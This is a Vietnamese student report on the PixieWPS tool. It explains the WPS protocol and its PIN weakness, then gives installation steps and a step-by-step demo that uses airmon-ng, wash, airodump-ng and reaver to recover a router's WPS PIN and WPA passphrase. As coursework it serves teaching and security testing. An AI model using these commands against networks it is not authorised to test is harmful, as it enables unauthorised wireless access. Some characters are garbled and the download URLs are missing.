Tải bản đầy đủ (.docx) (34 trang)

Bài tập lớn môn an toàn mang, học viện bưu chính viễn thông (39)

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (3.06 MB, 34 trang )

HỌC VIỆN CƠNG NGHỆ BƯU CHÍNH VIỄN THƠNG
KHOA CƠNG NGHỆ THƠNG TIN

Học phần: An tồn mạng
Bài báo cáo:

Tìm hiểu về công cụ PixieWPS trong Kali Linux

Giảng viên hướng dẫn: TS. Đặng Minh Tuấn
Sinh viên thực hiện: Ngơ Sỹ Hồng
Mã sinh viên: B18DCAT098
Nhóm lớp: 02
Tổ thực hành: 01

Hà Nội 2021

Mục lục


DANH SÁCH CÁC THUẬT NGỮ TIẾNG ANH VÀ VIẾT TẮT
Từ
viết tắt

Thuật ngữ tiếng Anh/Giải thích

WPS

Wi-Fi Protected Setup

WPAPSK


Wi-Fi Protected Access PreShared Key (WPA-PSK)

GNU
GPL

GNU General Public License

FSF

The Free Software Foundation

BSD

Berkeley Software Distribution

MIT

có nguồn gốc tại Viện Công nghệ
Massachusetts (MIT)

SSID

Service Set Identifier

NFC

Near-Field Communications

AP


Access Point

Thuật ngữ tiếng Việt/Giải thích
Chuẩn an ninh mạng để tạo an
tồn cho mạng khơng dây gia đình
là một cơ chế an ninh sử dụng để
xác thực và Validate người dùng
trên một mạng LAN không dây
(WLAN) hoặc kết nối Wi-Fi. Đây
là một biến thể của giao thức bảo
mật WPA.
giấy phép phần mềm tự do được
sử dụng rộng rãi, đảm bảo cho
người dùng cuối tự do chạy,
nghiên cứu, sửa đổi và chia sẻ
phần mềm
một tổ chức phi lợi nhuận với sứ
mệnh trên toàn thế giới nhằm thúc
đẩy quyền tự do của người dùng
máy tính
giấy phép phần mềm miễn phí cho
phép, áp đặt các hạn chế tối thiểu
về việc sử dụng và phân phối các
phần mềm được bảo vệ
một giấy phép cấp phép, nó có rất
ít các hạn chế sử dụng lại
tên chính của mạng cục bộ không
dây (Wireless Local Area Network
hay WLAN) bao gồm mạng WiFi
gia đình và cơng cộng

cơng nghệ giao tiếp trường gần, sử
dụng cảm ứng từ trường để thực
hiện kết nối giữa các thiết bị khi
có sự tiếp xúc trực tiếp hay để gần
nhau
Điểm truy cập hoạt động như một
2


proxy giữa nhà đăng ký và người
đăng ký.
WLAN

Wireless Local Area Network

một mạng cho phép các thiết bị
kết nối và giao tiếp khơng dây

DANH MỤC CÁC HÌNH VẼ

3


LỜI MỞ ĐẦU
Bảo mật là một lĩnh vực mà hiện nay ngành công nghệ thông tin rất quan tâm. Khi
Internet ra đời và phát triển, nhu cầu trao đổi thông tin trở nên cần thiế. Mục tiêu của việc
kết nối mạng là giúp cho mọi người có thể sử dụng chung tài nguyên từ những vị trí địa
lý khác nhau. Cũng chính vì vậy các tài ngun dễ dàng bị phân tán, dẫn đến việc chúng
sẽ bị xâm phạm, gây mất mát dữ liệu cũng như các thơng tin có giá trị.
Bên cạnh những giải pháp cụ thể về an ninh bảo mật cho hệ thống để đảm bảo cho

dữ liệu, thông tin và hệ thống của doanh nghiệp được an toàn từ những truy cập trái phép
từ bên ngoài lẫn bên trong doanh nghiệp. Việc kiểm tra hệ thống CNTT của chúng ta bị
tấn công hay không là rất cần thiết.
Để kiểm tra sự an toàn của hệ thống, chúng ta có thể giả lập các vụ tấn cơng thử
nghiệm. Trong những năm gần đây, Kali Linux là hệ điều hành được sử dụng nhiều nhất
bởi các chuyên gia đánh giá bảo mật bởi vì nó tích hợp nhiều cơng cụ chun dụng giúp
chúng ta có thể đánh giá sự an toàn của một hệ thống.
Trước việc cần thiết phải có một mơi trường để giải lập các vụ tấn cơng nhằm
đành giá sự an tồn của hệ thống mạng nên tơi đã chọn và tìm hiểu về cơng cụ Pixie WPS
trong Kali Lnux để mọi người hiểu sâu hơn về Wireless Attack.
Kali là phiên bản tiến hóa của hệ điều hành BackTrack, xuất hiện vào năm 2013 và
nó đã có những cải tiến so với BackTrack để đạt được một vị trí nhất định trong cộng
đồng bảo mật trên toàn thế giới. Một vài đặc điểm nổi bật của Kali có thể kể ra như sau:
 Kali phát triển trên nền tảng hệ điều hành Debian
 Tính tương thích kiến trúc
 Hỗ trợ mạng khơng dây tốt hơn
 Khả năng tùy biến cao
 Dễ dàng nâng cấp giữa các phiên bản Kali trong tương lai

4


Chương 1. Khái quát về công cụ Pixie WPS
1.1. Giới thiệu, lịch sử hình thành về cơng cụ Pixie WPS
PixieWPS là một cơng cụ tương đối mới có sẵn trong Kali Linux, nó nhắm đến lỗ
hổng WPS. Pixiewps là một công cụ được viết bằng C được sử dụng để brute force ngoại
tuyến WPS PIN ẩn và khai thác entropy thấp hoặc không tồn tại của một số triển khai
phần mềm của giao thức WPS, cái gọi là 'pixie dust attack' được phát hiện bởi Dominique
Bongard trong mùa hè năm 2014. Nó chỉ dành cho mục đích giáo dục.
Q trình này có thể giảm thời gian tìm mã PIN chính xác từ hàng giờ xuống còn

vài phút hoặc vài giây. Sau đó, mã PIN có thể được sử dụng để khôi phục WPA-PSK từ
Access Point bằng công cụ như Reaver, Bully hoặc tham gia trực tiếp vào mạng không
dây bằng wpa_cli và các chương trình khác.

Kể từ phiên bản 1.4, nó cũng có thể khơi phục WPA-PSK từ q trình chụp thụ

5


động hoàn toàn (từ M1 đến M7) cho một số thiết bị (hiện tại chỉ một số thiết bị hoạt động
với --mode 3).

Phiên bản mới nhất: 1.4.2-5
Thời gian: 05-02-2021
Giấy phép: GNU GPLv3
Giấy phép Công cộng GNU (tiếng Anh: GNU General Public License, viết
tắt GNU GPL hay chỉ GPL) là giấy phép phần mềm tự do được sử dụng rộng rãi, đảm
bảo cho người dùng cuối tự do chạy, nghiên cứu, sửa đổi và chia sẻ phần mềm. Giấy phép
ban đầu được viết bởi Richard Stallman của Quỹ Phần mềm Tự do (FSF) cho Dự án
GNU, và cấp cho người nhận chương trình máy tính quyền của Định nghĩa Phần mềm Tự
do. GPL là giấy phép copyleft, có nghĩa là tác phẩm phái sinh chỉ có thể được phân phối
theo các điều khoản cấp phép tương tự. Đây là sự phân biệt đối với giấy phép phần mềm
tự do cho phép, trong đó giấy phép BSD và Giấy phép MIT được sử dụng rộng rãi là ví
dụ. GPL là giấy phép copyleft đầu tiên để sử dụng chung.
6


Trong lịch sử, gia đình giấy phép GPL là một trong những giấy phép phần mềm
phổ biến nhất trong lĩnh vực phần mềm tự do và nguồn mở. Các chương trình phần mềm
miễn phí nổi bật được cấp phép theo GPL bao gồm nhân Linux và Bộ biên dịch

GNU (GCC). David A. Wheeler cho rằng copyleft được cung cấp bởi GPL là rất quan
trọng đối với sự thành công của các hệ thống dựa trên Linux, giúp các lập trình viên đóng
góp cho hạt nhân sự đảm bảo rằng cơng việc của họ sẽ mang lại lợi ích cho tồn thế giới.
các công ty phần mềm sẽ không phải trả lại cho cộng đồng.
Trong năm 2007, phiên bản thứ ba của giấy phép (GNU GPLv3) đã được phát hành để
giải quyết một số vấn đề nhận thức với phiên bản thứ hai (GNU GPLv2) đã được phát
hiện trong quá trình sử dụng lâu dài của nó. Để giữ cho giấy phép cập nhật, giấy phép
GPL bao gồm một điều khoản "bất kỳ phiên bản sau" tùy chọn, cho phép người dùng lựa
chọn giữa các điều khoản gốc hoặc các điều khoản trong các phiên bản mới như
được FSF cập nhật. Các nhà phát triển có thể bỏ qua nó khi cấp phép phần mềm của họ;
ví dụ hạt nhân Linux được cấp phép theo GPLv2 mà khơng có mệnh đề "bất kỳ phiên bản
nào sau này".

1.2. WPS
1.2.1. Các phương pháp WPS
Wi-Fi Protected Setup (WPS), được phát triển bởi Wi-Fi Alliance, giúp người
dùng nhanh chóng và dễ dàng định cấu hình bảo mật WPA / WPA2-Personal (PSK) trên
bộ định tuyến không dây và máy khách. WPS hiện hỗ trợ hai phương pháp: Số thơng tin
cá nhân (PIN) và Cấu hình nút đẩy (PBC). Đặc điểm kỹ thuật cũng bao gồm một phương
pháp thứ ba, Giao tiếp trường gần (NFC) nhưng hiện khơng có sản phẩm nào hỗ trợ NFC.
Phương thức mã PIN cho phép người dùng sử dụng mã PIN (được lấy từ nhãn dán
hoặc màn hình tiện ích hoặc bảng điều khiển dựa trên web) và nhập mã đó vào Điểm truy
cập (AP) hoặc thiết bị WPS của ứng dụng khách để kết nối. Phương pháp này là bắt buộc
đối với tất cả các thiết bị được chứng nhận WPS.
Phương thức cấu hình nút nhấn (PBC) cho phép người dùng chỉ cần nhấn một nút,
thực tế hoặc ảo, trên cả hai thiết bị WPS để kết nối. Đây là một phương pháp tùy chọn
trên máy khách không dây.
Trong cả hai phương pháp, người dùng WPS không được yêu cầu nhập tên mạng
(SSID) và bảo mật khơng dây bằng tay. Tồn bộ hoạt động thường mất vài giây và không
vượt quá khoảng thời gian hai phút.


7


Phương thức WPS PIN (WPS PIN protocol)

Định dạng WPS PIN:
Người dùng lựa chọn PIN:

PIN được in trên nhãn dán:

8


1.2.2. Các thành phần WPS
Có ba thành phần logic liên quan đến WPS:


Nhà đăng ký: một thiết bị có quyền cấp và thu hồi thông tin xác thực đối với
mạng. Một tổ chức đăng ký tên miền có thể được tích hợp vào một điểm truy cập
khơng dây (AP) hoặc nó có thể tách biệt với AP.



Người đăng ký: một thiết bị đang tìm cách tham gia điểm truy cập hoặc mạng
khơng dây như máy tính xách tay, điện thoại di động…



AP: một Access Point hoạt động như một proxy giữa nhà đăng ký và người đăng

ký.

9


Giao diện E được đặt một cách hợp lý giữa người đăng ký và nhà đăng ký (về mặt
vật lý, AP có thể hoạt động như một proxy để truyền tải các thơng báo). Mục đích của
giao diện E là cho phép nhà đăng ký phát hiện và cấp thông tin đăng ký WLAN cho
người đăng ký.
Giao diện M là giao diện giữa AP và cơ quan đăng ký. Nó cho phép nhà đăng ký
bên ngoài quản lý một WPS AP. WPS sử dụng cùng một giao thức để thiết lập giao diện
Quản lý AP như để cấp Thông tin xác thực cho các thiết bị đăng ký.
Giao diện A nằm giữa người đăng ký và AP. Chức năng của giao diện A là cho
phép khám phá WPS WLAN và cho phép giao tiếp giữa người đăng ký và người đăng ký
chỉ IP.

1.2.3. Giao thức đăng ký
Giao thức đăng ký được xác định và trình bày trong tài liệu Wi-Fi Protected Setup
Specification v1.0 do Wi-Fi Alliance cung cấp. Giao thức đăng ký thực hiện các mục đích
sau:


Nó giúp khắc phục sự cố kết nối cơ bản với kênh khơng dây



Nó cung cấp nhận dạng minh chứng của người đăng ký cho nhà đăng ký và người
đăng ký cho người đăng ký bằng cách sử dụng thơng tin ngồi băng tần, cho phép
chức năng cấu hình thơng tin xác thực.




Nó thiết lập các vai trò của từng thiết bị (AP, nhà đăng ký hoặc người đăng ký).

10




Nó truyền tải một cách an tồn các cài đặt WLAN và cấu hình khác từ nhà đăng ký
đến người đăng ký.



Nó thiết lập khóa phiên chính mở rộng EMSK, có thể được sử dụng để bảo đảm các
chức năng cấu hình ứng dụng cụ thể bổ sung.

Giao thức đăng ký được sử dụng cho nhiều trường hợp khác nhau dẫn đến một số
biến thể về các tham số tùy chọn. Phiên bản chính, một loạt các trao đổi tin nhắn EAP,
được mô tả như sau:
Enrollee -> Registrar: M1 = Version || N1 || Description || PKE
Enrollee <- Registrar: M2 = Version || N1 || N2 || Description || PKR [ || ConfigData ] ||
HMAC_AuthKey(M1 || M2*)
Enrollee -> Registrar: M3 = Version || N2 || E-Hash1 || E-Hash2 || HMAC_AuthKey(M2
|| M3*)
Enrollee <- Registrar: M4 = Version || N1 || R-Hash1 || R-Hash2 ||
ENC_KeyWrapKey(R-S1) || HMAC_AuthKey (M3 || M4*)
Enrollee -> Registrar: M5 = Version || N2 || ENC_KeyWrapKey(E-S1) ||
HMAC_AuthKey (M4 || M5*)
Enrollee <- Registrar: M6 = Version || N1 || ENC_KeyWrapKey(R-S2) ||

HMAC_AuthKey (M5 || M6*)
Enrollee -> Registrar: M7 = Version || N2 || ENC_KeyWrapKey(E-S2 [||ConfigData]) ||
HMAC_AuthKey (M6 || M7*)
Enrollee <- Registrar: M8 = Version || N1 || [ ENC_KeyWrapKey(ConfigData) ] ||
HMAC_AuthKey (M7 || M8*)


|| biểu tượng này có nghĩa là nối các tham số để tạo thành một thông điệp.



Mn * là thông báo Mn loại trừ giá trị HMAC-SHA-256.



Phiên bản xác định loại thông báo giao thức đăng ký.



N1 là một số ngẫu nhiên 128 bit (nonce) do người đăng ký chỉ định.



N2 là số ngẫu nhiên 128 bit (nonce) do nhà đăng ký chỉ định.



Mô tả chứa mô tả mà con người có thể đọc được về thiết bị gửi (UUID, nhà sản xuất,
số kiểu máy, địa chỉ MAC, v.v.) và các khả năng của thiết bị như thuật tốn được hỗ
trợ, kênh I / O, vai trị Giao thức đăng ký, v.v. Dữ liệu mô tả cũng được bao gồm

trong u cầu thăm dị 802.11 và thơng báo phản hồi thăm dò.



HMAC_AuthKey (…) Ký hiệu này cho biết thuộc tính Trình xác thực
(Authenticator) có chứa hàm băm được khóa HMAC trên các giá trị trong dấu ngoặc
11


đơn và sử dụng khóa AuthKey. Hàm băm có khóa là HMAC-SHA-256 cho mỗi FIPS
180-2 và RFC-2104. Để giảm kích thước thư, chỉ 64 bit của đầu ra HMAC 256 bit
được đưa vào thuộc tính Trình xác thực (Authenticator) .


ENC_KeyWrapKey (…) Ký hiệu này chỉ ra mã hóa đối xứng của các giá trị trong
ngoặc đơn bằng cách sử dụng khóa KeyWrapKey. Thuật tốn mã hóa là AES-CBC
theo FIPS 197, với phần đệm PKCS # 5 v2.0.



PKE và PKR lần lượt là khóa cơng khai Diffie-Hellman của người đăng ký và người
đăng ký. Nếu hỗ trợ cho các bộ mật mã khác (chẳng hạn như đường cong elliptic)
được thêm vào trong tương lai, một số phiên bản giao thức khác sẽ được sử dụng.



AuthKey là một khóa xác thực có nguồn gốc từ bí mật Diffie-Hellman, các phi mã
N1 và N2, và địa chỉ MAC của người đăng ký. Nếu cả M1 và M2 đều được vận
chuyển qua một kênh khơng dễ bị tấn cơng trung gian, thì mật khẩu thiết bị của người
đăng ký có thể bị bỏ qua khỏi kết xuất khóa.




E-Hash1 và E-Hash2 là các cam kết trước được thực hiện bởi người đăng ký để
chứng minh kiến thức về hai nửa mật khẩu thiết bị của chính mình.



R-Hash1 và R-Hash2 là các cam kết trước do nhà đăng ký đưa ra để chứng minh kiến
thức về hai nửa mật khẩu thiết bị của người đăng ký.



R-S1 và R-S2 là các ký tự 128 bit bí mật, cùng với R-Hash1 và R-Hash2, người đăng
ký có thể sử dụng để xác nhận kiến thức của nhà đăng ký về mật khẩu thiết bị của
người đăng ký tương ứng là nửa đầu và nửa sau. .



E-S1 và E-S2 là các chuỗi ký tự 128 bit bí mật, cùng với E-Hash1 và E-Hash2, nhà
đăng ký có thể sử dụng để xác nhận kiến thức của người đăng ký về mật khẩu thiết bị
của người đăng ký, nửa đầu và nửa sau. .



ConfigData chứa cài đặt WLAN và thông tin đăng nhập cho người đăng ký. Các cài
đặt bổ sung cho các mạng và ứng dụng khác cũng có thể được bao gồm trong
ConfigData. Mặc dù ConfigData được hiển thị ở đây là ln được mã hóa, nhưng mã
hóa chỉ là bắt buộc đối với các khóa và ràng buộc khóa. Mã hóa là tùy chọn cho dữ
liệu cấu hình khác. Người gửi quyết định có mã hóa một phần nhất định của

ConfigData hay không.

1.2.4. Lỗ hổng WPS
Phương thức mã PIN (bắt buộc để được chứng nhận) chỉ yêu cầu kiến thức về mã
PIN khiến WPS có khả năng dễ bị tấn công vũ phu. Việc phát hiện ra mã PIN cho thấy

12


WPA / WPA2 PSK được tìm thấy trong ConfigData chứa cài đặt WLAN và thông tin xác
thực cho người đăng ký.
Về cơ bản, các cuộc tấn công này dựa vào việc phát hiện ra mã PIN nhanh hơn
nhiều so với việc cưỡng bức PSK một cách thô bạo và hoạt động như sau:


Nếu Giao thức đăng ký WPS không thành công tại một số điểm, nhà đăng ký sẽ gửi
một thông báo NACK.



Nếu kẻ tấn công nhận được tin nhắn NACK sau khi gửi M4, hắn biết rằng nửa đầu
của mã PIN khơng chính xác. Xem định nghĩa của R-Hash1 và R-Hash2.



Nếu kẻ tấn công nhận được tin nhắn NACK sau khi gửi M6, thì hắn biết rằng nửa sau
của mã PIN khơng chính xác.

Phương pháp này làm giảm đáng kể số lần xác thực tối đa có thể cần thiết từ 10 ^
8 xuống 10 ^ 4 + 10 ^ 4. Chữ số thứ 8 của mã PIN luôn là tổng kiểm tra của chữ số một

đến chữ số bảy. Do đó, cần tối đa 10 ^ 4 + 10 ^ 3 (= 11.000) lần thử để tìm đúng mã PIN.
Do đó, cần ít hơn bốn giờ để cho phép kẻ tấn công thử tất cả các kết hợp mã PIN có thể
có với 1,3 giây hợp lý cho mỗi lần thử.
Một cơng cụ tấn cơng có tên là Reaver đã được phát hành để lấy mã PIN của các
thiết bị hỗ trợ WPS và đã được thử nghiệm dựa trên nhiều cách triển khai WPS.
Vì gần như tất cả các nhà cung cấp bộ định tuyến và điểm truy cập lớn đều có thiết
bị được chứng nhận WPS, nên rất nhiều thiết bị dễ bị tấn công kiểu này. WPS thường
được kích hoạt theo mặc định và được triển khai mà khơng có bất kỳ loại cơ chế chặn nào
để ngăn chặn các cuộc tấn công bạo lực làm cho lỗ hổng này thậm chí cịn tồi tệ hơn.
Vì lỗ hổng này chỉ có thể được vá bằng bản cập nhật chương trình cơ sở, bạn nên
áp dụng một trong các giải pháp sau:


Nếu được thiết bị WPS của bạn cho phép, hãy tắt tính năng WPS bằng giao diện quản
lý WEB của bạn, sau đó định cấu hình kết nối khơng dây của bạn theo cách thủ công.



Kiểm tra trang web hỗ trợ của nhà cung cấp thiết bị WPS của bạn để biết chương
trình cơ sở cập nhật giải quyết lỗ hổng này.

Chương 2 Hướng dẫn cài đặt

13


2.1. Yêu cầu
apt-get -y install build-essential
Các phiên bản trước 1.2 yêu cầu libssl-dev
 Các phiên bản 1.4 trở lên sử dụng đa luồng và yêu cầu libpthread (POSIX

threads)
OpenSSL cũng đã được giới thiệu lại dưới dạng tùy chọn để đạt được tốc độ tốt hơn.


2.2. Hướng dẫn cài đặt
Cài đặt mới:
Tải về
git clone />Hoặc
wget && unzip master.zip
Build
cd pixiewps*/
make
Theo tùy chọn, bạn có thể chạy lệnh make OPENSSL = 1 để sử dụng các chức
năng OpenSSL SHA-256 nhanh hơn.
Install
sudo make install
Chương trình được cài đặt sẵn trên Kali Linux:
14


sudo apt-get install libssl-dev
git clone />cd pixiewps/src
make
sudo make install

2.3 Hướng dẫn sử dụng

15



Đối số bắt buộc (Required arguments):
-e, --pke
Khóa cơng khai của người đăng ký (được sử dụng để xác minh tính hợp
pháp của trao đổi WPS và ngăn phát lại), được tìm thấy trong M1
-r, --pkr
Khóa cơng khai của nhà đăng ký, được tìm thấy trong M2. Có thể tránh
điều này bằng cách chỉ định --dh-small trong cả Reaver và Pixiewps.
-s, --e-hash1
Hàm băm 1 của người đăng ký, được tìm thấy trong M3
-z, --e-hash2
Hàm băm 2 của người đăng ký, được tìm thấy trong M3
-a, --authkey
Khóa phiên xác thực. Mặc dù đối với thơng số này, cần có phiên bản sửa
đổi của Reaver hoặc Bully, nhưng có thể tránh được bằng cách chỉ định các

16


khóa Diffie-Hellman nhỏ trong cả Reaver và Pixiewps và cung cấp --enonce, --r-nonce và --e-bssid
-n, --e-nonce
Cái chỉ dùng lần này của người đăng ký, được tìm thấy ở M1
Đối số tùy chọn (Optional arguments):
-m, --r-nonce
Cái chỉ dùng lần này của nhà đăng ký, được tìm thấy ở M2
-b, --e-bssid
BSSID của người đăng ký
-v, --verbosity
Độ dài cấp độ 1-3, 1 là yên tĩnh nhất
-o, --output
Ghi ra tệp (file)

-j, --jobs
[tự động]
Số lượng những luồng song song (giống nhau) để sử dụng
-h
Hiển thị màn hình sử dụng này
--help
Trợ giúp chi tiết và các ví dụ sử dụng khác
-v, --version
Phiên bản hiển thị
--mode N[, … N]
[tự động]
Lựa chọn chế độ, phân tách bằng dấu phẩy
--start [mm/]yyyy
(chỉ chế độ 3) [+1 ngày]
Ngày bắt đầu
--end [mm/]yyyy
(chỉ chế độ 3) [-1 ngày]
Ngày kết thúc
-f, --force
(chỉ chế độ 3)
Quét hết tất cả phạm vi
Tùy chọn này chỉ được sử dụng cho chế độ 3. Khi các pixiewps được sử
dụng sẽ bắt đầu bruteforcing từ thời điểm hiện tại và quay trở lại tất cả các
cách về 0. Nó giống về mặt khái niệm chỉ sử dụng --end 01/1970 (hoặc -start 01/1970 kể từ chúng có thể hốn đổi cho nhau).
Đối số khác (Miscellaneous arguments):
17


-7, --m7-enc
(chỉ chế độ 3)

Khôi phục cài đặt đã mã hóa từ M7
Tùy chọn này yêu cầu cài đặt mã hóa thuộc tính được tìm thấy trong M7
khi nhà đăng ký chứng minh kiến thức về mã PIN và điểm truy cập,
người đăng ký, gửi cấu hình mạng hiện tại của nó.
Tính năng này có thể được sử dụng để bẻ khóa WPA-PSK (và mã PIN
WPS) từ q trình chụp gói thụ động (ví dụ: đánh hơi phiên PBC).
-5, --m5-enc
(chỉ chế độ 3)
Khơi phục bí mật chỉ một lần từ M5
-S, --dh-small
Tính năng này đã được giới thiệu trở lại trong Reaver 1.3. Nó hoạt động
bằng cách chọn khóa riêng = 1, do đó dẫn đến có khóa cơng khai --pkr = 2.
Điều này đẩy nhanh q trình bẻ khóa vì AP phải thực hiện ít tính tốn hơn
để tính tốn bí mật được chia sẻ Diffie-Hellman, sau này được sử dụng để
lấy các khóa phiên mã hóa giao dịch hiện tại. Pixiewps có thể khai thác tính
năng này để người dùng không phải nhập --pkr (luôn là 2) và tùy chọn tính
tốn các khóa phiên, như --authkey, nếu các đối số bổ sung, --r-nonce và -bssid,

được
chỉ
định.
Hóa ra một số bộ định tuyến có lỗi và khơng hoạt động chính xác với tính
năng này. Một số thậm chí sẽ khơng thể xác thực đúng mã PIN và giao dịch
sẽ thất bại sau M4. Vì lý do này, tính năng này không được dùng nữa và sẽ
không bao giờ được sử dụng trong Reaver.
Ví dụ sử dụng phổ biến nhất là:
pixiewps --pke ... --pkr ... --e-hash1 ... --e-hash2 ... --authkey ... --e-nonce …
yêu cầu phiên bản sửa đổi của Reaver hoặc Bully sẽ in Khóa phiên xác thực
(Authentication Session key) (-- authkey, -a). Phiên bản được đề xuất là reaverwps-fork-t6x.
Chương trình cũng có một trang người đàn ơng và một màn hình trợ giúp chi tiết

(--help) với nhiều ví dụ hơn.

18


Chương 3 Demo
3.1. Kịch bản tấn công
Bước 1: Tải xuống tất cả các phần phụ thuộc
Điều quan trọng là phải tải xuống tất cả các phụ thuộc từ kho lưu trữ trước khi tiếp
tục cuộc tấn công. Kali Linux bao gồm một số trong số này, nhưng nếu bạn đang sử dụng
một phiên bản Linux khác, nó có thể khơng có. Vì vậy, chúng ta hãy cài đặt tất cả chúng:
1. Hãy nhập vào terminal: apt-get update
2. Sau đó: apt-get install build-essential
3. apt-get install libpcap-dev
4. apt-get install sqlite3
5. apt-get install libsqlite3-dev
6. apt-get cài đặt pixiewps

Chúng tơi có thể thực hiện cài đặt cùng một lúc nhưng tôi cài đặt riêng lẻ vì chúng
tơi đã từng gặp sự cố khi tải xuống tất cả.
Bước 2: Sao chép Github
Cuộc tấn công này hoạt động bằng cách sử dụng một nhánh của Reaver. Chúng tôi
sẽ cần tải xuống, biên dịch và cài đặt fork.
git clone />Bước 3: Cài đặt
1. cd reaver-wps-fork-t6x/
2. cd src/
3. ./configure
4. make
5. sudo make install


19


Bước 4: Chế độ giám sát
service network-manager stop
airmon-ng check
Diệt các quy trình gây nhiễu. Làm điều này lặp đi lặp lại cho tất cả các quá trình cho đến
khi kiểm tra airmon-ng cho kết quả đầu ra “không gây nhiễu”.
kill -9
Khởi động giao diện màn hình.
airmon-ng check
iwconfig
airmon-ng start wlan0 <replace with yours>

Đặt giao diện của bạn vào chế độ màn hình bằng cách sử dụng ‘airmon-ng start
{wireless interface}’
20


Kiểm tra danh sách các mạng khơng dây tương thích với Kali Linux của bạn

Để có thể tấn cơng, chúng tôi sẽ cần sử dụng bộ điều hợp mạng không dây tương
thích. Xem danh sách năm 2017 của chúng tơi về bộ điều hợp mạng khơng dây tương
thích Kali Linux và Backtrack trong liên kết ở trên hoặc bạn có thể lấy bộ điều hợp phổ
biến nhất dành cho người mới bắt đầu của chúng tơi tại đây.

Bước 5: Tìm một mục tiêu
Cách dễ nhất để tìm mục tiêu có bật WPS là
Thu thập BSSID và kênh # cho bộ định tuyến bạn muốn tấn cơng. Đảm bảo rằng
bạn có một tín hiệu mạnh trước khi thực hiện cuộc tấn công này.

wash -i {monitor-interface}

21


Hoặc sử dụng Airodump
Airodump kết xuất các gói nhận được trên giao diện màn hình. Chúng ta có thể
chọn ghi hay khơng ghi các gói vào một tệp.
airodump-ng wlan0mon <replace with yours>

Việc thực thi Airodump thực sự biến thiết bị đầu cuối thành thiết bị đầu cuối cập
nhật hiển thị tất cả thông tin. Lưu ý BSSID mục tiêu, kênh & ESSID. Nhấn Control + c
để dừng airodump.
Bước 6: Tấn cơng
Khi bạn có tất cả thơng tin, chỉ cần nhập lệnh sau:
reaver -i wlan0mon <replace with yours> -b <bssid> -c <channel no> -K 1 -vv

22


Bước 7: Thành quả
Đây là mật khẩu! Một lần nữa, cuộc tấn công này sẽ không hoạt động với tất cả
các bộ định tuyến, nhưng nó chắc chắn hiệu quả hơn một cuộc tấn công brute force (Pixie
Dust: tối đa 30 phút so với Brute Force: từ phút tới NGÀY!)

23


Ở đó bạn có cụm mật khẩu và mã PIN. Vì vậy, đây là một cuộc tấn cơng kết hợp
Ngoại tuyến - Trực tuyến có thể được thực hiện chống lại các điểm truy cập không dây

trong các bài kiểm tra Thâm nhập không dây. Điều thú vị là PixieWPS tìm ra rất nhiều
thơng tin khác như số model của AP, nhà sản xuất, v.v. Vì vậy, trong quá trình kiểm tra,
người ta có thể sử dụng điều này để tìm kiếm các lỗ hổng phổ biến của AP cụ thể.
3.2. Demo
sudo apt-get update

24


sudo apt-get install build-essential + sudo apt-get install libpcap-dev

sudo apt-get install sqlite3 + sudo apt-get install libsqlite3-dev

25


×